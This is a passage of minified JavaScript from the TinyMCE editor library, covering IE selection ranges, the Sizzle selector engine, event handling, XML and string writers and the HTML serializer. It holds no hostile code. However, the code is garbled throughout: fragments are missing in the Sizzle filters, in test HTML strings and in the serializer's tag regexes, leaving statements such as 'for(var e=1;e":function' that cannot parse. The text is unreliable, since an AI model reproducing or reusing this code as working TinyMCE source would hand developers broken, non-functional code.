o,m=e.dom.doc.body,p,k,q,l,n,i;q=j.startContainer;l=j.startOffset;n=j.endContainer;i=j.endOffset;o=m.createTextRange();q=q.nodeType==1?q.childNodes[Math.min(l,q.childNodes.length-1)]:q;n=n.nodeType==1?n.childNodes[Math.min(l==i?i:i-1,n.childNodes.length-1)]:n;if(q==n&&q.nodeType==1){if(/^(IMG|TABLE)$/.test(q.nodeName)&&l!=i){o=m.createControlRange();o.addElement(q)}else{o=m.createTextRange();if(!q.hasChildNodes()&&q.canHaveHTML){q.innerHTML=h}o.moveToElementText(q);if(q.innerHTML==h){o.collapse(true);q.removeChild(q.firstChild)}}if(l==i){o.collapse(i<=j.endContainer.childNodes.length-1)}o.select();return}function r(t,v){var u,s,w;if(t.nodeType!=3){return -1}u=t.nodeValue;s=m.createTextRange();t.nodeValue=u.substring(0,v)+h+u.substring(v);s.moveToElementText(t.parentNode);s.findText(h);w=Math.abs(s.moveStart("character",-1048575));t.nodeValue=u;return w}if(j.collapsed){pos=r(q,l);o=m.createTextRange();o.move("character",pos);o.select();return}else{if(q==n&&q.nodeType==3){p=r(q,l);o=m.createTextRange();o.move("character",p);o.moveEnd("character",i-l);o.select();return}p=r(q,l);k=r(n,i);o=m.createTextRange();if(p==-1){o.moveToElementText(q);p=0}else{o.move("character",p)}tmpRng=m.createTextRange();if(k==-1){tmpRng.moveToElementText(n)}else{tmpRng.move("character",k)}o.setEndPoint("EndToEnd",tmpRng);o.select();return}};this.getRangeAt=function(){if(!b||!c(g,e.getRng())){b=f();g=e.getRng()}return b};this.destroy=function(){g=b=null}}tinymce.dom.TridentSelection=a})();(function(){var p=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?/g,i=0,d=Object.prototype.toString,n=false;var b=function(D,t,A,v){A=A||[];var e=t=t||document;if(t.nodeType!==1&&t.nodeType!==9){return[]}if(!D||typeof D!=="string"){return A}var B=[],C,y,G,F,z,s,r=true,w=o(t);p.lastIndex=0;while((C=p.exec(D))!==null){B.push(C[1]);if(C[2]){s=RegExp.rightContext;break}}if(B.length>1&&j.exec(D)){if(B.length===2&&f.relative[B[0]]){y=g(B[0]+B[1],t)}else{y=f.relative[B[0]]?[t]:b(B.shift(),t);while(B.length){D=B.shift();if(f.relative[D]){D+=B.shift()}y=g(D,y)}}}else{if(!v&&B.length>1&&t.nodeType===9&&!w&&f.match.ID.test(B[0])&&!f.match.ID.test(B[B.length-1])){var H=b.find(B.shift(),t,w);t=H.expr?b.filter(H.expr,H.set)[0]:H.set[0]}if(t){var H=v?{expr:B.pop(),set:a(v)}:b.find(B.pop(),B.length===1&&(B[0]==="~"||B[0]==="+")&&t.parentNode?t.parentNode:t,w);y=H.expr?b.filter(H.expr,H.set):H.set;if(B.length>0){G=a(y)}else{r=false}while(B.length){var u=B.pop(),x=u;if(!f.relative[u]){u=""}else{x=B.pop()}if(x==null){x=t}f.relative[u](G,x,w)}}else{G=B=[]}}if(!G){G=y}if(!G){throw"Syntax error, unrecognized expression: "+(u||D)}if(d.call(G)==="[object Array]"){if(!r){A.push.apply(A,G)}else{if(t&&t.nodeType===1){for(var E=0;G[E]!=null;E++){if(G[E]&&(G[E]===true||G[E].nodeType===1&&h(t,G[E]))){A.push(y[E])}}}else{for(var E=0;G[E]!=null;E++){if(G[E]&&G[E].nodeType===1){A.push(y[E])}}}}}else{a(G,A)}if(s){b(s,e,A,v);b.uniqueSort(A)}return A};b.uniqueSort=function(r){if(c){n=false;r.sort(c);if(n){for(var e=1;e":function(w,r,x){var u=typeof r==="string";if(u&&!/\W/.test(r)){r=x?r:r.toUpperCase();for(var s=0,e=w.length;s=0)){if(!s){e.push(v)}}else{if(s){r[u]=false}}}}return false},ID:function(e){return e[1].replace(/\\/g,"")},TAG:function(r,e){for(var s=0;e[s]===false;s++){}return e[s]&&o(e[s])?r[1]:r[1].toUpperCase()},CHILD:function(e){if(e[1]=="nth"){var r=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(e[2]=="even"&&"2n"||e[2]=="odd"&&"2n+1"||!/\D/.test(e[2])&&"0n+"+e[2]||e[2]);e[2]=(r[1]+(r[2]||1))-0;e[3]=r[3]-0}e[0]=i++;return e},ATTR:function(u,r,s,e,v,w){var t=u[1].replace(/\\/g,"");if(!w&&f.attrMap[t]){u[1]=f.attrMap[t]}if(u[2]==="~="){u[4]=" "+u[4]+" "}return u},PSEUDO:function(u,r,s,e,v){if(u[1]==="not"){if(u[3].match(p).length>1||/^\w/.test(u[3])){u[3]=b(u[3],null,null,r)}else{var t=b.filter(u[3],r,s,true^v);if(!s){e.push.apply(e,t)}return false}}else{if(f.match.POS.test(u[0])||f.match.CHILD.test(u[0])){return true}}return u},POS:function(e){e.unshift(true);return e}},filters:{enabled:function(e){return e.disabled===false&&e.type!=="hidden"},disabled:function(e){return e.disabled===true},checked:function(e){return e.checked===true},selected:function(e){e.parentNode.selectedIndex;return e.selected===true},parent:function(e){return !!e.firstChild},empty:function(e){return !e.firstChild},has:function(s,r,e){return !!b(e[3],s).length},header:function(e){return/h\d/i.test(e.nodeName)},text:function(e){return"text"===e.type},radio:function(e){return"radio"===e.type},checkbox:function(e){return"checkbox"===e.type},file:function(e){return"file"===e.type},password:function(e){return"password"===e.type},submit:function(e){return"submit"===e.type},image:function(e){return"image"===e.type},reset:function(e){return"reset"===e.type},button:function(e){return"button"===e.type||e.nodeName.toUpperCase()==="BUTTON"},input:function(e){return/input|select|textarea|button/i.test(e.nodeName)}},setFilters:{first:function(r,e){return e===0},last:function(s,r,e,t){return r===t.length-1},even:function(r,e){return e%2===0},odd:function(r,e){return e%2===1},lt:function(s,r,e){return re[3]-0},nth:function(s,r,e){return e[3]-0==r},eq:function(s,r,e){return e[3]-0==r}},filter:{PSEUDO:function(w,s,t,x){var r=s[1],u=f.filters[r];if(u){return u(w,t,s,x)}else{if(r==="contains"){return(w.textContent||w.innerText||"").indexOf(s[3])>=0}else{if(r==="not"){var v=s[3];for(var t=0,e=v.length;t=0)}}},ID:function(r,e){return r.nodeType===1&&r.getAttribute("id")===e},TAG:function(r,e){return(e==="*"&&r.nodeType===1)||r.nodeName===e},CLASS:function(r,e){return(" "+(r.className||r.getAttribute("class"))+" ").indexOf(e)>-1},ATTR:function(v,t){var s=t[1],e=f.attrHandle[s]?f.attrHandle[s](v):v[s]!=null?v[s]:v.getAttribute(s),w=e+"",u=t[2],r=t[4];return e==null?u==="!=":u==="="?w===r:u==="*="?w.indexOf(r)>=0:u==="~="?(" "+w+" ").indexOf(r)>=0:!r?w&&e!==false:u==="!="?w!=r:u==="^="?w.indexOf(r)===0:u==="$="?w.substr(w.length-r.length)===r:u==="|="?w===r||w.substr(0,r.length+1)===r+"-":false},POS:function(u,r,s,v){var e=r[2],t=f.setFilters[e];if(t){return t(u,s,r,v)}}}};var j=f.match.POS;for(var l in f.match){f.match[l]=new RegExp(f.match[l].source+/(?![^\[]*\])(?![^\(]*\))/.source)}var a=function(r,e){r=Array.prototype.slice.call(r);if(e){e.push.apply(e,r);return e}return r};try{Array.prototype.slice.call(document.documentElement.childNodes)}catch(k){a=function(u,t){var r=t||[];if(d.call(u)==="[object Array]"){Array.prototype.push.apply(r,u)}else{if(typeof u.length==="number"){for(var s=0,e=u.length;s";var e=document.documentElement;e.insertBefore(r,e.firstChild);if(!!document.getElementById(s)){f.find.ID=function(u,v,w){if(typeof v.getElementById!=="undefined"&&!w){var t=v.getElementById(u[1]);return t?t.id===u[1]||typeof t.getAttributeNode!=="undefined"&&t.getAttributeNode("id").nodeValue===u[1]?[t]:undefined:[]}};f.filter.ID=function(v,t){var u=typeof v.getAttributeNode!=="undefined"&&v.getAttributeNode("id");return v.nodeType===1&&u&&u.nodeValue===t}}e.removeChild(r)})();(function(){var e=document.createElement("div");e.appendChild(document.createComment(""));if(e.getElementsByTagName("*").length>0){f.find.TAG=function(r,v){var u=v.getElementsByTagName(r[1]);if(r[1]==="*"){var t=[];for(var s=0;u[s];s++){if(u[s].nodeType===1){t.push(u[s])}}u=t}return u}}e.innerHTML="";if(e.firstChild&&typeof e.firstChild.getAttribute!=="undefined"&&e.firstChild.getAttribute("href")!=="#"){f.attrHandle.href=function(r){return r.getAttribute("href",2)}}})();if(document.querySelectorAll){(function(){var e=b,s=document.createElement("div");s.innerHTML="

    ";if(s.querySelectorAll&&s.querySelectorAll(".TEST").length===0){return}b=function(w,v,t,u){v=v||document;if(!u&&v.nodeType===9&&!o(v)){try{return a(v.querySelectorAll(w),t)}catch(x){}}return e(w,v,t,u)};for(var r in e){b[r]=e[r]}})()}if(document.getElementsByClassName&&document.documentElement.getElementsByClassName){(function(){var e=document.createElement("div");e.innerHTML="
    ";if(e.getElementsByClassName("e").length===0){return}e.lastChild.className="e";if(e.getElementsByClassName("e").length===1){return}f.order.splice(1,0,"CLASS");f.find.CLASS=function(r,s,t){if(typeof s.getElementsByClassName!=="undefined"&&!t){return s.getElementsByClassName(r[1])}}})()}function m(r,w,v,A,x,z){var y=r=="previousSibling"&&!z;for(var t=0,s=A.length;t0){u=e;break}}}e=e[r]}A[t]=u}}}var h=document.compareDocumentPosition?function(r,e){return r.compareDocumentPosition(e)&16}:function(r,e){return r!==e&&(r.contains?r.contains(e):true)};var o=function(e){return e.nodeType===9&&e.documentElement.nodeName!=="HTML"||!!e.ownerDocument&&e.ownerDocument.documentElement.nodeName!=="HTML"};var g=function(e,x){var t=[],u="",v,s=x.nodeType?[x]:x;while((v=f.match.PSEUDO.exec(e))){u+=v[0];e=e.replace(f.match.PSEUDO,"")}e=f.relative[e]?e+"*":e;for(var w=0,r=s.length;w=0;h--){k=g[h];if(k.obj===l){j._remove(k.obj,k.name,k.cfunc);k.obj=k.cfunc=null;g.splice(h,1)}}}},cancel:function(g){if(!g){return false}this.stop(g);return this.prevent(g)},stop:function(g){if(g.stopPropagation){g.stopPropagation()}else{g.cancelBubble=true}return false},prevent:function(g){if(g.preventDefault){g.preventDefault()}else{g.returnValue=false}return false},destroy:function(){var g=this;f(g.events,function(j,h){g._remove(j.obj,j.name,j.cfunc);j.obj=j.cfunc=null});g.events=[];g=null},_add:function(h,i,g){if(h.attachEvent){h.attachEvent("on"+i,g)}else{if(h.addEventListener){h.addEventListener(i,g,false)}else{h["on"+i]=g}}},_remove:function(i,j,h){if(i){try{if(i.detachEvent){i.detachEvent("on"+j,h)}else{if(i.removeEventListener){i.removeEventListener(j,h,false)}else{i["on"+j]=null}}}catch(g){}}},_pageInit:function(h){var g=this;if(g.domLoaded){return}g.domLoaded=true;f(g.inits,function(i){i()});g.inits=[]},_wait:function(i){var g=this,h=i.document;if(i.tinyMCE_GZ&&tinyMCE_GZ.loaded){g.domLoaded=1;return}if(h.attachEvent){h.attachEvent("onreadystatechange",function(){if(h.readyState==="complete"){h.detachEvent("onreadystatechange",arguments.callee);g._pageInit(i)}});if(h.documentElement.doScroll&&i==i.top){(function(){if(g.domLoaded){return}try{h.documentElement.doScroll("left")}catch(j){setTimeout(arguments.callee,0);return}g._pageInit(i)})()}}else{if(h.addEventListener){g._add(i,"DOMContentLoaded",function(){g._pageInit(i)})}}g._add(i,"load",function(){g._pageInit(i)})},_stoppers:{preventDefault:function(){this.returnValue=false},stopPropagation:function(){this.cancelBubble=true}}});a=d.dom.Event=new d.dom.EventUtils();a._wait(window);d.addUnload(function(){a.destroy()})})(tinymce);(function(a){var b=a.each;a.create("tinymce.dom.Element",{Element:function(g,e){var c=this,f,d;e=e||{};c.id=g;c.dom=f=e.dom||a.DOM;c.settings=e;if(!a.isIE){d=c.dom.get(c.id)}b(["getPos","getRect","getParent","add","setStyle","getStyle","setStyles","setAttrib","setAttribs","getAttrib","addClass","removeClass","hasClass","getOuterHTML","setOuterHTML","remove","show","hide","isHidden","setHTML","get"],function(h){c[h]=function(){var j=[g],k;for(k=0;k_';j.deleteContents();j.insertNode(f.getRng().createContextualFragment(i));l=f.dom.get("__caret");j=k.createRange();j.setStartBefore(l);j.setEndAfter(l);f.setRng(j);f.dom.remove("__caret")}else{if(j.item){k.execCommand("Delete",false,null);j=f.getRng()}j.pasteHTML(i)}f.onSetContent.dispatch(f,g)},getStart:function(){var f=this,g=f.getRng(),h;if(a){if(g.item){return g.item(0)}g=g.duplicate();g.collapse(1);h=g.parentElement();if(h&&h.nodeName=="BODY"){return h.firstChild}return h}else{h=g.startContainer;if(h.nodeName=="BODY"){return h.firstChild}return f.dom.getParent(h,"*")}},getEnd:function(){var f=this,g=f.getRng(),h;if(a){if(g.item){return g.item(0)}g=g.duplicate();g.collapse(0);h=g.parentElement();if(h&&h.nodeName=="BODY"){return h.lastChild}return h}else{h=g.endContainer;if(h.nodeName=="BODY"){return h.lastChild}return f.dom.getParent(h,"*")}},getBookmark:function(x){var j=this,m=j.getRng(),f,n,l,u=j.dom.getViewPort(j.win),v,p,z,o,w=-16777215,k,h=j.dom.getRoot(),g=0,i=0,y;n=u.x;l=u.y;if(x){return{rng:m,scrollX:n,scrollY:l}}if(a){if(m.item){v=m.item(0);d(j.dom.select(v.nodeName),function(s,r){if(v==s){p=r;return false}});return{tag:v.nodeName,index:p,scrollX:n,scrollY:l}}f=j.dom.doc.body.createTextRange();f.moveToElementText(h);f.collapse(true);z=Math.abs(f.move("character",w));f=m.duplicate();f.collapse(true);p=Math.abs(f.move("character",w));f=m.duplicate();f.collapse(false);o=Math.abs(f.move("character",w))-p;return{start:p-z,length:o,scrollX:n,scrollY:l}}v=j.getNode();k=j.getSel();if(!k){return null}if(v&&v.nodeName=="IMG"){return{scrollX:n,scrollY:l}}function q(A,D,t){var s=j.dom.doc.createTreeWalker(A,NodeFilter.SHOW_TEXT,null,false),E,B=0,C={};while((E=s.nextNode())!=null){if(E==D){C.start=B}if(E==t){C.end=B;return C}B+=e(E.nodeValue||"").length}return null}if(k.anchorNode==k.focusNode&&k.anchorOffset==k.focusOffset){v=q(h,k.anchorNode,k.focusNode);if(!v){return{scrollX:n,scrollY:l}}e(k.anchorNode.nodeValue||"").replace(/^\s+/,function(r){g=r.length});return{start:Math.max(v.start+k.anchorOffset-g,0),end:Math.max(v.end+k.focusOffset-g,0),scrollX:n,scrollY:l,beg:k.anchorOffset-g==0}}else{v=q(h,m.startContainer,m.endContainer);if(!v){return{scrollX:n,scrollY:l}}return{start:Math.max(v.start+m.startOffset-g,0),end:Math.max(v.end+m.endOffset-i,0),scrollX:n,scrollY:l,beg:m.startOffset-g==0}}},moveToBookmark:function(n){var o=this,g=o.getRng(),p=o.getSel(),j=o.dom.getRoot(),m,h,k;function i(q,t,D){var B=o.dom.doc.createTreeWalker(q,NodeFilter.SHOW_TEXT,null,false),x,s=0,A={},u,C,z,y;while((x=B.nextNode())!=null){z=y=0;k=x.nodeValue||"";h=e(k).length;s+=h;if(s>=t&&!A.startNode){u=t-(s-h);if(n.beg&&u>=h){continue}A.startNode=x;A.startOffset=u+y}if(s>=D){A.endNode=x;A.endOffset=D-(s-h)+y;return A}}return null}if(!n){return false}o.win.scrollTo(n.scrollX,n.scrollY);if(a){o.tridentSel.destroy();if(g=n.rng){try{g.select()}catch(l){}return true}o.win.focus();if(n.tag){g=j.createControlRange();d(o.dom.select(n.tag),function(r,q){if(q==n.index){g.addElement(r)}})}else{try{if(n.start<0){return true}g=p.createRange();g.moveToElementText(j);g.collapse(true);g.moveStart("character",n.start);g.moveEnd("character",n.length)}catch(f){return true}}try{g.select()}catch(l){}return true}if(!p){return false}if(n.rng){p.removeAllRanges();p.addRange(n.rng)}else{if(b(n.start)&&b(n.end)){try{m=i(j,n.start,n.end);if(m){g=o.dom.doc.createRange();g.setStart(m.startNode,m.startOffset);g.setEnd(m.endNode,m.endOffset);p.removeAllRanges();p.addRange(g)}if(!c.isOpera){o.win.focus()}}catch(l){}}}},select:function(g,l){var p=this,f=p.getRng(),q=p.getSel(),o,m,k,j=p.win.document;function h(u,t){var s,r;if(u){s=j.createTreeWalker(u,NodeFilter.SHOW_TEXT,null,false);while(u=s.nextNode()){r=u;if(c.trim(u.nodeValue).length!=0){if(t){return u}else{r=u}}}}return r}if(a){try{o=j.body;if(/^(IMG|TABLE)$/.test(g.nodeName)){f=o.createControlRange();f.addElement(g)}else{f=o.createTextRange();f.moveToElementText(g)}f.select()}catch(i){}}else{if(l){m=h(g,1)||p.dom.select("br:first",g)[0];k=h(g,0)||p.dom.select("br:last",g)[0];if(m&&k){f=j.createRange();if(m.nodeName=="BR"){f.setStartBefore(m)}else{f.setStart(m,0)}if(k.nodeName=="BR"){f.setEndBefore(k)}else{f.setEnd(k,k.nodeValue.length)}}else{f.selectNode(g)}}else{f.selectNode(g)}p.setRng(f)}return g},isCollapsed:function(){var f=this,h=f.getRng(),g=f.getSel();if(!h||h.item){return false}return !g||h.boundingWidth==0||h.collapsed},collapse:function(f){var g=this,h=g.getRng(),i;if(h.item){i=h.item(0);h=this.win.document.body.createTextRange();h.moveToElementText(i)}h.collapse(!!f);g.setRng(h)},getSel:function(){var g=this,f=this.win;return f.getSelection?f.getSelection():f.document.selection},getRng:function(j){var g=this,h,i;if(j&&g.tridentSel){return g.tridentSel.getRangeAt(0)}try{if(h=g.getSel()){i=h.rangeCount>0?h.getRangeAt(0):(h.createRange?h.createRange():g.win.document.createRange())}}catch(f){}if(!i){i=a?g.win.document.body.createTextRange():g.win.document.createRange()}return i},setRng:function(i){var h,g=this;if(!g.tridentSel){h=g.getSel();if(h){h.removeAllRanges();h.addRange(i)}}else{if(i.cloneRange){g.tridentSel.addRange(i);return}try{i.select()}catch(f){}}},setNode:function(g){var f=this;f.setContent(f.dom.getOuterHTML(g));return g},getNode:function(){var f=this,h=f.getRng(),g=f.getSel(),i;if(!a){if(!h){return f.dom.getRoot()}i=h.commonAncestorContainer;if(!h.collapsed){if(c.isWebKit&&g.anchorNode&&g.anchorNode.nodeType==1){return g.anchorNode.childNodes[g.anchorOffset]}if(h.startContainer==h.endContainer){if(h.startOffset-h.endOffset<2){if(h.startContainer.hasChildNodes()){i=h.startContainer.childNodes[h.startOffset]}}}}return f.dom.getParent(i,"*")}return h.item?h.item(0):h.parentElement()},getSelectedBlocks:function(g,f){var i=this,j=i.dom,m,h,l,k=[];m=j.getParent(g||i.getStart(),j.isBlock);h=j.getParent(f||i.getEnd(),j.isBlock);if(m){k.push(m)}if(m&&h&&m!=h){l=m;while((l=l.nextSibling)&&l!=h){if(j.isBlock(l)){k.push(l)}}}if(h&&m!=h){k.push(h)}return k},destroy:function(g){var f=this;f.win=null;if(f.tridentSel){f.tridentSel.destroy()}if(!g){c.removeUnload(f.destroy)}}})})(tinymce);(function(a){a.create("tinymce.dom.XMLWriter",{node:null,XMLWriter:function(c){function b(){var e=document.implementation;if(!e||!e.createDocument){try{return new ActiveXObject("MSXML2.DOMDocument")}catch(d){}try{return new ActiveXObject("Microsoft.XmlDom")}catch(d){}}else{return e.createDocument("","",null)}}this.doc=b();this.valid=a.isOpera||a.isWebKit;this.reset()},reset:function(){var b=this,c=b.doc;if(c.firstChild){c.removeChild(c.firstChild)}b.node=c.appendChild(c.createElement("html"))},writeStartElement:function(c){var b=this;b.node=b.node.appendChild(b.doc.createElement(c))},writeAttribute:function(c,b){if(this.valid){b=b.replace(/>/g,"%MCGT%")}this.node.setAttribute(c,b)},writeEndElement:function(){this.node=this.node.parentNode},writeFullEndElement:function(){var b=this,c=b.node;c.appendChild(b.doc.createTextNode(""));b.node=c.parentNode},writeText:function(b){if(this.valid){b=b.replace(/>/g,"%MCGT%")}this.node.appendChild(this.doc.createTextNode(b))},writeCDATA:function(b){this.node.appendChild(this.doc.createCDATASection(b))},writeComment:function(b){if(a.isIE){b=b.replace(/^\-|\-$/g," ")}this.node.appendChild(this.doc.createComment(b.replace(/\-\-/g," ")))},getContent:function(){var b;b=this.doc.xml||new XMLSerializer().serializeToString(this.doc);b=b.replace(/<\?[^?]+\?>||<\/html>||]+>/g,"");b=b.replace(/ ?\/>/g," />");if(this.valid){b=b.replace(/\%MCGT%/g,">")}return b}})})(tinymce);(function(a){a.create("tinymce.dom.StringWriter",{str:null,tags:null,count:0,settings:null,indent:null,StringWriter:function(b){this.settings=a.extend({indent_char:" ",indentation:0},b);this.reset()},reset:function(){this.indent="";this.str="";this.tags=[];this.count=0},writeStartElement:function(b){this._writeAttributesEnd();this.writeRaw("<"+b);this.tags.push(b);this.inAttr=true;this.count++;this.elementCount=this.count},writeAttribute:function(d,b){var c=this;c.writeRaw(" "+c.encode(d)+'="'+c.encode(b)+'"')},writeEndElement:function(){var b;if(this.tags.length>0){b=this.tags.pop();if(this._writeAttributesEnd(1)){this.writeRaw("")}if(this.settings.indentation>0){this.writeRaw("\n")}}},writeFullEndElement:function(){if(this.tags.length>0){this._writeAttributesEnd();this.writeRaw("");if(this.settings.indentation>0){this.writeRaw("\n")}}},writeText:function(b){this._writeAttributesEnd();this.writeRaw(this.encode(b));this.count++},writeCDATA:function(b){this._writeAttributesEnd();this.writeRaw("");this.count++},writeComment:function(b){this._writeAttributesEnd();this.writeRaw("");this.count++},writeRaw:function(b){this.str+=b},encode:function(b){return b.replace(/[<>&"]/g,function(c){switch(c){case"<":return"<";case">":return">";case"&":return"&";case'"':return"""}return c})},getContent:function(){return this.str},_writeAttributesEnd:function(b){if(!this.inAttr){return}this.inAttr=false;if(b&&this.elementCount==this.count){this.writeRaw(" />");return false}this.writeRaw(">");return true}})})(tinymce);(function(e){var g=e.extend,f=e.each,b=e.util.Dispatcher,d=e.isIE,a=e.isGecko;function c(h){return h.replace(/([?+*])/g,".$1")}e.create("tinymce.dom.Serializer",{Serializer:function(j){var i=this;i.key=0;i.onPreProcess=new b(i);i.onPostProcess=new b(i);try{i.writer=new e.dom.XMLWriter()}catch(h){i.writer=new e.dom.StringWriter()}i.settings=j=g({dom:e.DOM,valid_nodes:0,node_filter:0,attr_filter:0,invalid_attrs:/^(mce_|_moz_|sizset|sizcache)/,closed:/^(br|hr|input|meta|img|link|param|area)$/,entity_encoding:"named",entities:"160,nbsp,161,iexcl,162,cent,163,pound,164,curren,165,yen,166,brvbar,167,sect,168,uml,169,copy,170,ordf,171,laquo,172,not,173,shy,174,reg,175,macr,176,deg,177,plusmn,178,sup2,179,sup3,180,acute,181,micro,182,para,183,middot,184,cedil,185,sup1,186,ordm,187,raquo,188,frac14,189,frac12,190,frac34,191,iquest,192,Agrave,193,Aacute,194,Acirc,195,Atilde,196,Auml,197,Aring,198,AElig,199,Ccedil,200,Egrave,201,Eacute,202,Ecirc,203,Euml,204,Igrave,205,Iacute,206,Icirc,207,Iuml,208,ETH,209,Ntilde,210,Ograve,211,Oacute,212,Ocirc,213,Otilde,214,Ouml,215,times,216,Oslash,217,Ugrave,218,Uacute,219,Ucirc,220,Uuml,221,Yacute,222,THORN,223,szlig,224,agrave,225,aacute,226,acirc,227,atilde,228,auml,229,aring,230,aelig,231,ccedil,232,egrave,233,eacute,234,ecirc,235,euml,236,igrave,237,iacute,238,icirc,239,iuml,240,eth,241,ntilde,242,ograve,243,oacute,244,ocirc,245,otilde,246,ouml,247,divide,248,oslash,249,ugrave,250,uacute,251,ucirc,252,uuml,253,yacute,254,thorn,255,yuml,402,fnof,913,Alpha,914,Beta,915,Gamma,916,Delta,917,Epsilon,918,Zeta,919,Eta,920,Theta,921,Iota,922,Kappa,923,Lambda,924,Mu,925,Nu,926,Xi,927,Omicron,928,Pi,929,Rho,931,Sigma,932,Tau,933,Upsilon,934,Phi,935,Chi,936,Psi,937,Omega,945,alpha,946,beta,947,gamma,948,delta,949,epsilon,950,zeta,951,eta,952,theta,953,iota,954,kappa,955,lambda,956,mu,957,nu,958,xi,959,omicron,960,pi,961,rho,962,sigmaf,963,sigma,964,tau,965,upsilon,966,phi,967,chi,968,psi,969,omega,977,thetasym,978,upsih,982,piv,8226,bull,8230,hellip,8242,prime,8243,Prime,8254,oline,8260,frasl,8472,weierp,8465,image,8476,real,8482,trade,8501,alefsym,8592,larr,8593,uarr,8594,rarr,8595,darr,8596,harr,8629,crarr,8656,lArr,8657,uArr,8658,rArr,8659,dArr,8660,hArr,8704,forall,8706,part,8707,exist,8709,empty,8711,nabla,8712,isin,8713,notin,8715,ni,8719,prod,8721,sum,8722,minus,8727,lowast,8730,radic,8733,prop,8734,infin,8736,ang,8743,and,8744,or,8745,cap,8746,cup,8747,int,8756,there4,8764,sim,8773,cong,8776,asymp,8800,ne,8801,equiv,8804,le,8805,ge,8834,sub,8835,sup,8836,nsub,8838,sube,8839,supe,8853,oplus,8855,otimes,8869,perp,8901,sdot,8968,lceil,8969,rceil,8970,lfloor,8971,rfloor,9001,lang,9002,rang,9674,loz,9824,spades,9827,clubs,9829,hearts,9830,diams,338,OElig,339,oelig,352,Scaron,353,scaron,376,Yuml,710,circ,732,tilde,8194,ensp,8195,emsp,8201,thinsp,8204,zwnj,8205,zwj,8206,lrm,8207,rlm,8211,ndash,8212,mdash,8216,lsquo,8217,rsquo,8218,sbquo,8220,ldquo,8221,rdquo,8222,bdquo,8224,dagger,8225,Dagger,8240,permil,8249,lsaquo,8250,rsaquo,8364,euro",valid_elements:"*[*]",extended_valid_elements:0,valid_child_elements:0,invalid_elements:0,fix_table_elements:1,fix_list_elements:true,fix_content_duplication:true,convert_fonts_to_spans:false,font_size_classes:0,font_size_style_values:0,apply_source_formatting:0,indent_mode:"simple",indent_char:"\t",indent_levels:1,remove_linebreaks:1,remove_redundant_brs:1,element_format:"xhtml"},j);i.dom=j.dom;if(j.remove_redundant_brs){i.onPostProcess.add(function(k,l){l.content=l.content.replace(/(
    \s*)+<\/(p|h[1-6]|div|li)>/gi,function(n,m,o){if(/^
    \s*<\//.test(n)){return""}return n})})}if(j.element_format=="html"){i.onPostProcess.add(function(k,l){l.content=l.content.replace(/<([^>]+) \/>/g,"<$1>")})}if(j.fix_list_elements){i.onPreProcess.add(function(v,s){var l,y,w=["ol","ul"],u,t,q,k=/^(OL|UL)$/,z;function m(r,x){var o=x.split(","),p;while((r=r.previousSibling)!=null){for(p=0;p=1767){f(i.dom.select("p table",l.node).reverse(),function(p){var o=i.dom.getParent(p.parentNode,"table,p");if(o.nodeName!="TABLE"){try{i.dom.split(o,p)}catch(m){}}})}})}},setEntities:function(p){var n=this,j,m,h={},o="",k;if(n.entityLookup){return}j=p.split(",");for(m=0;m1){f(q[1].split("|"),function(u){var p={},t;k=k||[];u=u.replace(/::/g,"~");u=/^([!\-])?([\w*.?~_\-]+|)([=:<])?(.+)?$/.exec(u);u[2]=u[2].replace(/~/g,":");if(u[1]=="!"){r=r||[];r.push(u[2])}if(u[1]=="-"){for(t=0;t=1767)){p=j.createHTMLDocument("");f(r.nodeName=="BODY"?r.childNodes:[r],function(h){p.body.appendChild(p.importNode(h,true))});if(r.nodeName!="BODY"){r=p.body.firstChild}else{r=p.body}i=k.dom.doc;k.dom.doc=p}k.key=""+(parseInt(k.key)+1);if(!q.no_events){q.node=r;k.onPreProcess.dispatch(k,q)}k.writer.reset();k._serializeNode(r,q.getInner);q.content=k.writer.getContent();if(i){k.dom.doc=i}if(!q.no_events){k.onPostProcess.dispatch(k,q)}k._postProcess(q);q.node=null;return e.trim(q.content)},_postProcess:function(n){var i=this,k=i.settings,j=n.content,m=[],l;if(n.format=="html"){l=i._protect({content:j,patterns:[{pattern:/(]*>)(.*?)(<\/script>)/g},{pattern:/(]*>)(.*?)(<\/noscript>)/g},{pattern:/(]*>)(.*?)(<\/style>)/g},{pattern:/(]*>)(.*?)(<\/pre>)/g,encode:1},{pattern:/()/g}]});j=l.content;if(k.entity_encoding!=="raw"){j=i._encode(j)}if(!n.set){j=j.replace(/

    \s+<\/p>|]+)>\s+<\/p>/g,k.entity_encoding=="numeric"?" 

    ":" 

    ");if(k.remove_linebreaks){j=j.replace(/\r?\n|\r/g," ");j=j.replace(/(<[^>]+>)\s+/g,"$1 ");j=j.replace(/\s+(<\/[^>]+>)/g," $1");j=j.replace(/<(p|h[1-6]|blockquote|hr|div|table|tbody|tr|td|body|head|html|title|meta|style|pre|script|link|object) ([^>]+)>\s+/g,"<$1 $2>");j=j.replace(/<(p|h[1-6]|blockquote|hr|div|table|tbody|tr|td|body|head|html|title|meta|style|pre|script|link|object)>\s+/g,"<$1>");j=j.replace(/\s+<\/(p|h[1-6]|blockquote|hr|div|table|tbody|tr|td|body|head|html|title|meta|style|pre|script|link|object)>/g,"")}if(k.apply_source_formatting&&k.indent_mode=="simple"){j=j.replace(/<(\/?)(ul|hr|table|meta|link|tbody|tr|object|body|head|html|map)(|[^>]+)>\s*/g,"\n<$1$2$3>\n");j=j.replace(/\s*<(p|h[1-6]|blockquote|div|title|style|pre|script|td|li|area)(|[^>]+)>/g,"\n<$1$2>");j=j.replace(/<\/(p|h[1-6]|blockquote|div|title|style|pre|script|td|li)>\s*/g,"\n");j=j.replace(/\n\n/g,"\n")}}j=i._unprotect(j,l);j=j.replace(//g,"");if(k.entity_encoding=="raw"){j=j.replace(/

     <\/p>|]+)> <\/p>/g,"\u00a0

